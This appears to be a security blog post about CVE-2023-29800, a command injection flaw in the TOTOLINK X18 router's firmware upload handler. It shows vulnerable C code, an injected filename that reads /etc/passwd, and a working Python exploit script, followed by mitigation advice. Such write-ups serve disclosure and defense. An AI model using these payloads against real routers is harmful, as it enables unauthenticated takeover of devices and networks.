TOTOLINK routers are becoming increasingly popular for their budget-friendly networking solutions. However, like many IoT devices, they sometimes suffer from critical security gaps. One such alarming flaw is CVE-2023-29800, a command injection vulnerability present in the TOTOLINK X18 router, specifically firmware v9.1.cu.2024_B20220329. This post breaks down the vulnerability, demonstrates how it can be exploited, and provides actionable guidance for understanding and mitigating the risk.

What is CVE-2023-29800?

This CVE tracks a command injection vulnerability in the UploadFirmwareFile function of the TOTOLINK X18 router's firmware. Simply put, the flaw lets an attacker run custom system commands on the device—without authentication—by sending specially crafted data to the router’s web interface.

Where's The Vulnerability?

The router’s web management interface exposes an *UploadFirmwareFile* function—typically used for upgrading the firmware. During a firmware upload, the router fails to sanitize or properly validate the FileName parameter. If an attacker injects command syntax into this parameter, the device’s operating system executes it, effectively giving remote shell access.

Below is a simplified snippet demonstrating the vulnerability

char fileName[256];
strcpy(fileName, request->FileName);  // No validation!

// Dangerous: direct use of user input in shell command
char cmd[512];
snprintf(cmd, sizeof(cmd), "cp /tmp/firmware/%s /tmp/", fileName);
system(cmd);  // BOOM: Command Injection


The FileName parameter is used unsafely in a system call. Anyone who can send a firmware upload request can inject commands, for example by passing a crafted file name such as evil_firmware.img; cat /etc/passwd > /tmp/leak.txt;.

Attacker sends a firmware upload request to the router's management web interface.

2. Crafted file name includes a semicolon ; to terminate the intended command and append a malicious command.
3. Router executes the entire string, including the attacker's injected command, with system privileges.

import requests

# Router info
target = 'http://192.168..1';  # Change to actual IP
upload_url = f'{target}/cgi-bin/UploadFirmwareFile'

# Payload - injects a command to write 'pwned' into /tmp/pwn.txt
malicious_filename = "firmware.img;echo pwned>/tmp/pwn.txt;"

# Simulating file upload - note the crafted filename!
files = {
    'FileName': (malicious_filename, b'binary firmware content here'),
}

# In some cases, login or authentication cookies may be required
response = requests.post(upload_url, files=files)

if response.status_code == 200:
    print("Exploit sent. Check router for /tmp/pwn.txt!")
else:
    print("Failed to exploit. Status:", response.status_code)

Attackers can use this method to run arbitrary commands—stealing files, opening backdoors, or disrupting the network.

Potential Damage: Full device compromise, local network attacks, persistence.

This vulnerability is exploitable on routers exposed to LAN or WAN (if improperly firewall-protected).

References

- CVE Details
- Totolink Security Notices
- Exploit Database

How To Protect Your Router

- Update Firmware: Check the official TOTOLINK updates page and apply new firmware as soon as available.

Restrict Access: Don’t expose router admin interfaces to the internet.

- Use Strong Passwords: Even if this particular bug ignores authentication, strong passwords help prevent other attacks.

Conclusion

CVE-2023-29800 is a powerful example of how minor coding mistakes in embedded systems can create huge security gaps. If you use a TOTOLINK X18 router—especially on firmware v9.1.cu.2024_B20220329—you must patch your device or take it offline. Stay updated and vigilant; router security is your network’s first line of defense.


*For more technical walk-throughs and up-to-date advisories, follow security researchers on Exploit-DB, check CVE databases, and regularly visit vendor support sites.*

Timeline

Published on: 04/14/2023 14:15:00 UTC
Last modified on: 04/21/2023 18:31:00 UTC